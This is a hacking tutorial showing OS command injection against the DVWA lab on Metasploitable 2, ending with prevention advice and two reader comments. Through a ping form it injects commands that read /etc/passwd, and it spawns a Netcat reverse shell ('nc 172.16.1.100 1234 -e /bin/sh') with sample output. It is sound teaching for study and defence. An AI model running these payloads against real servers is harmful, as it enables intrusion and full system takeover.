Command injection is a technique used by hackers to execute system commands on a server, usually via a web application or some kind of GUI. This can happen when an application provides some sort of functionality to the user involving the use of system commands. When the input is not properly sanitized, commands not originally intended to be run are allowed to be executed.
Since the application basically acts as an impromptu shell of sorts, this type of attack can lead to disastrous consequences. Depending on the level of privilege the application has, an attacker can do anything, including viewing configuration files, modifying or deleting data, or even getting a shell or creating a backdoor.
It is important to note the difference between code injection and command injection. In code injection, an attacker inserts custom code that is then executed by the application or program, whereas command injection takes advantage of the functionality of the application in which system commands are executed. These concepts are similar, but the fact that command injection builds upon the default behavior of the application often makes it easier to exploit.
In this tutorial, I will be using DVWA (Damn Vulnerable Web Application) as part of Metasploitable 2, a vulnerable virtual machine, to simulate this attack.
Step 1: Find an Attack Vector
We can begin by searching for an appropriate attack vector to exploit. In this example, the site has a function that allows us to ping other domains or IP addresses to test for connectivity. In reality, it would probably be rare to find such a blatant example of this, but you never know (sometimes the lowest-hanging fruit yields the best results). For demonstration purposes, this will work perfectly though.
It's easy enough here to enter the loopback address, or localhost, to test this out. We can see the ping replies, so it appears to be working correctly.
Step 2: Test for Vulnerabilities by Injecting Commands
Next, we can try injecting a simple command to see if a vulnerability exists. This particular web server is running Linux, but the same technique can be applied to Windows servers by using Windows commands. We can append a command using && (AND), ; (separator), or | (pipe). Let's try a simple ls first. The injection was successful and the content of the current directory is displayed:
We can also use the command whoami to get the current username:
The uname -a command will print system information such as kernel and operating system:
We can view the contents of /etc/passwd by appending cat /etc/passwd to the command:
So far, all of the commands we've run have been low impact — useful for gathering information about the server but not much else. What if we could get a shell on the system and own it completely? Well, using the popular tool Netcat, we can do precisely that.
Bind Shells vs. Reverse Shells
Before we jump into popping a shell, it's important to understand the differences between bind shells and reverse shells.
A bind shell is a command shell that is opened on the target system, essentially binding itself to a specific port. The attacking system then connects to that listening port and an interactive session is initiated. Bind shells aren't used very often today because any active firewall will block incoming connections to some random port.
A reverse shell, on the other hand, will actively connect back to the attacking machine from the target. In this situation, the attacking device has an open port listening for incoming connections. Since outgoing traffic is less likely to be filtered by the firewall, a reverse shell is often the preferred choice.
Step 3: Use Netcat to Get a Shell
Netcat is a powerful networking utility used to test TCP or UDP connections. Other features include debugging, port scanning, file transfer, and backdoor capabilities. We can use Netcat to spawn a reverse shell on the web server, provided it is installed, and connect back to our machine yielding complete control over the system.
First, we use the following command on our local system to open up a listener for incoming connections. The usage for Netcat is nc, the -l flag opens a listener, and -p 1234 instructs it to use port 1234, but any random port will work.
nc -l -p 1234
Next, in the web application's ping utility, append the following command to spawn a shell on the server and connect back to our machine:
nc 172.16.1.100 1234 -e /bin/sh
This connects to the IP address 172.16.1.100 on port 1234, and -e /bin/sh executes a shell that is sent back to our system. Now we can try running commands from the comfort of our own terminal. Use whoami to view the current user:
root@drd:~# nc -l -p 1234
whoami
www-data
To get system information, use the uname -a command:
root@drd:~# nc -l -p 1234
whoami
www-data
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Or, use ps to view current running processes:
root@drd:~# nc -l -p 1234
whoami
www-data
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ps
PID TTY TIME CMD
4638 ? 00:00:00 apache2
4642 ? 00:00:00 apache2
4644 ? 00:00:00 apache2
4645 ? 00:00:00 apache2
4778 ? 00:00:00 apache2
4783 ? 00:00:00 apache2
4797 ? 00:00:00 sh
4799 ? 00:00:00 nc
4815 ? 00:00:00 apache2
4858 ? 00:00:00 apache2
4864 ? 00:00:00 apache2
4967 ? 00:00:00 apache2
5004 ? 00:00:00 sh
5006 ? 00:00:00 nc
5075 ? 00:00:00 php
5076 ? 00:00:00 sh
5078 ? 00:00:00 sh
5120 ? 00:00:00 ps
From here, we can pivot to other systems on the network, create a backdoor, or knock the server offline entirely. The possibilities are endless now that we have essentially owned the server.
How to Prevent Command Injection
Like many attacks that occur on the web, especially other injection techniques, command injection can be successfully prevented and mitigated by ensuring that proper input validation is in place. By filtering out certain phrases and special characters, or ideally using a whitelisting approach, the likelihood of a damaging attack is reduced.
Secure coding practices and code reviews are becoming increasingly vital to the development process; Limiting what can be exploited from the start is a great way to bolster the overall security posture of an organization and its applications. Likewise, using reliable APIs that provide parameterized input is always a safe bet, as well as running applications with the lowest possible privileges.
Ultimately, though, the best thing to do is omit OS command functionality altogether. In many cases, there is no good reason a web-facing interface needs to interact with system commands at all. By eliminating the vulnerability in the first place, you have essentially defeated an attacker on that front.
Conclusion
Time and time again we've seen how poorly validated input can lead to exploitation, especially when dealing with web applications. Command injection relies on functionality involving OS commands, typically via a web app or GUI. When unintended commands are allowed to be executed on the system, an attacker can own the server and get a shell, as we demonstrated with Netcat. This just goes to show how seemingly harmless implementations can be compromised and exploited.
Just updated your iPhone to iOS 18? You'll find a ton of hot new features for some of your most-used Apple apps. Dive in and see for yourself:
2 Comments
I appreciate the content/subject. However, a bit too simplistic in the assumption that nc....."...provided it is installed..." How did it get installed?? thats a big leap to make as without nc or netcat how will you get the reverse shell?
Netcat is used to troubleshoot networking issues and is commonly installed by default on a lot of Unix systems. As long as the web server is running Unix (a majority are) there's a chance it's installed.
Share Your Thoughts